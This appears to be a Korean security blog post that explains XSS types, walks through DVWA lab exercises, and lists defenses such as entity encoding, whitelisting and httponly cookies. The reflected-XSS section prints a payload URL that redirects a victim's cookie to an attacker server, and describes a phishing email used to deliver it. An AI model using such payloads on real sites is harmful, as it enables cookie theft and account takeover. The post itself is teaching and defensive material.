XSS 모의해킹

2024. 7. 28. 13:36CERT

목차

  • XSS 정의
  • XSS 종류
  • XSS 실습
  • XSS 대응방안

 

정의

  • 공격자가 입력한 악성스크립트가 사용자 측에서 실행되어 발생하는 취약점으로, 사용자 입력값에 대한 검증이 미흡하거나 출력 시 필터링 되지 않을 경우에 발생하며,
  • 사용자의 쿠키 값 탈취 및 피싱 사이트로 리다이렉팅 등과 같은 피해를 발생시킨다.

 

종류

XSS는 발생 형태에 따라서 다양한 종류로 구분되는데, 아래에서 XSS 종류와 악성 스크립트가 삽입되는 위치를 확인할 수 있다.

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 

Stored XSS

SK 인포섹 Stored XSS 설명 사진

    • 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트 포함된 게시물을 사용자가 요청할 때 실행되는 취약점이다.
    • 악성스크립트가 서버에 저장되어 불특정 다수를 대상으로 공격에 이용될 수 있어 Reflected XSS보다 공격 대상의 범위가 훨씬 크다.

 

Reflected XSS

SK 인포섹 Reflected XSS 설명 사진

  • 사용자가 요청한 악성스크립트가 사용자 측에서 반사(Reflected)되어 동작하는 취약점으로, 공격자의 악성스크립트가 데이터베이스와 같은 저장소에 별도로 저장되지 않고 사용자의 화면에 즉시 출력되면서 피해가 발생한다.
  • 악성 스크립트가 담긴 URL을 생성하여 메일 등을 통해 사용자에게 전달하여 클릭을 유도하는 방법이 있다.

 

 

DOM Based XSS

SK 인포섹 DOM Based XSS 설명 사진

 

  • 공격자의 악성스크립트가 DOM 영역에서 실행됨으로써 서버와의 상호작용 없이 브라우저 자체에서 악성스크립트가 실행되는 취약점
  • DOM 영역에 변화가 생기면 브라우저는 서버로 패킷을 보내지 않고 DOM 영역에서 페이지를 변환시킨다.
  • 따라서 DOM의 일부로 실행되기 때문에 브라우저 자체에서 악성스크립트가 실행된다.
  • URL fragment에 악성 스크립트가 담긴 URL을 클릭하면, 사용자 브라우저 DOM 문서 안 innerHTML과 같은 javascript 속성에 의해 URL fragment (악성스크립트)을 문서에 반영하고, 랜더링하는 처리 중 악성스크립트가 실행되는 방식이 있다.

DOM(Document Object Model, 문서 객체 모델) 이란

브라우저가  페이지를 렌더링 하는데 사용하는 모델로 HTML  XML 문서에 접근하기 위한 인터페이스이다. 브라우저는 HTML 문서를 읽고 해석한 결과를 DOM 형태로 재구성하여 사용자에게 제공한다

 

 

XSS(Stored) 실습

Stored XSS 실습 화면

  • 실제 악성스크립트 코드를 삽입한 게시물을 작성하여 올리도록함
  • 그럼 해당 게시물을 본 이용자들은 스크립트가 자동 실행됨

게시물을 올리고 클릭한 후의 사진

  • 방금 올린 Stored XSS 게시물을 클릭하였더니 위와 같은 창이 생성된 것으로 보아 스크립트 코드가 정상 작동함을 알 수 있음

 

XSS(Reflected) 실습

Reflected XSS 실습 화면

  • Reflected XSS 실습 화면이다. 
  • 빈 칸에 ss 를 입력하고, 제출하였더니, 페이지에 그대로 글자가 출력되는 것을 확인
  • 또한 name 파라미터에 글자 그대로 입력되어 있는 것도 확인
  • 사용자에게 해당 파라미터로 악성스크립트 코드를 삽입한 URL을 전달하고, 클릭을 유도하도록할 예정

 

Victim에게 보낸 이메일 내용

  • 사용자(본인)에게 URL 전달, 아래는 notice 라는 문자 안에 숨겨진 링크 내용
  • http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location=http://192.168.163.128/cookie?document.cookie</script> 
    • 나(공격자)의 서버로 전달할 수 있도록 document.location 값을 http://192.168.163.128으로 설정한 다음.  파라미터는 쿠키로 둔 다음 documen.cookie 를 이용하여 사용자의 쿠키를 인자값으로 활용 

 

클릭 후 브라우저 화면

    • 겉으로 보기에는 별로 달라보이는 게 없음

 

공격자 서버(192.168.163.128)

  • 그러나 공격자 서버(192.168.163.128)에서 실시간 로깅 화면을 보면,
    • 맨 마지막 로그에 Victim의 쿠키값 탈취

 

XSS(DOM) 실습 

DOM Based XSS 실습 환경 사진

  • DOM Based XSS 실습 화면
  • URL의 default 인자값을 변경하면 해당 인자값이 웹페이지의 언어 선택란에 반영

 

  • 프론트 소스코드를 개발자 옵션을 통해 살펴본 결과
    • default 매개 변수에 인자값을 넣기만해도 document.write() 함수로 인해 DOM 영역 변화로 브라우저가 그 부분에 있어 랜더링 처리를 거쳐 사용자에게 출력한다는 것을 알려줌

 

DOM based XSS 실행 사진

  • 스크립트 삽입 결과
    • 쿠키 값을 document.write 하는 함수가 실행되어 페이지의 언어 선택란에 스크립트 실행 결과가 선택란에 출력된 것을 확인

 

XSS(DOM) 대응방안

HTML Entity 설정 화면

  • 태그 사용이 필요 없을 경우 태그 문자(<,>)는 HTML Entity 형태로 치환하여 입력된 태그 문자는 문자열로만 인식되도록 구현한다.

 

xss 방지 php 화이트리스트 코드 구현

  • 부득이하게 태그 사용이 반드시 필요할 경우에는 위 사진과 같이 필요한 태그(예시는 <p>태그)만 사용할 수 있도록 구현한다. => 위 예시는 화이트리스트 방식

 

function validateInput(input) {
  const regex = /^[a-zA-Z0-9]+$/; // 영문과 숫자만 허용
  return regex.test(input);
}

// 사용 예시
const userInput = "<script>alert('XSS');</script>";
if (validateInput(userInput)) {
  console.log("유효한 입력입니다.");
} else {
  console.log("허용되지 않은 문자가 포함되어 있습니다.");
}
  • XSS 방지를 위한 자바스크립트 화이트 리스트 구현 코드
  • 입력값을 영문과 숫자만 허용하도록 정규 표현식 구현

 

xss 방지 블랙리스트 코드 구현

  • 블랙리스트 방식으로 <script> 태그가 입력될 경우 공백으로 치환되도록 구현하는 방법도 있다.

 

php 서버 설정

  • 클라이언트가 자바스크립트를 이용하여 쿠키에 접근하지 못하도록 서버에서 httponly 설정을 활성화 시켜준다.

 

<form action="/submit" method="post">
  <label for="username">Username:</label>
  <input type="text" id="username" name="username" maxlength="20" required>
  <button type="submit">제출</button>
</form>

 

  • 위와 같이 maxlength 속성을 통해 입력 필드에 최대 길이를 지정하면, 길이가 초과된 값은 입력되지 않도록 제한

'CERT' 카테고리의 다른 글

Weak Session ids 모의해킹  (0) 2024.07.28
Blind SQL Injection 모의해킹  (0) 2024.07.28
Insecure Captcha 모의해킹  (0) 2024.07.27
File Inclusion 모의해킹  (0) 2024.07.27
BruteForce 모의해킹  (0) 2024.07.27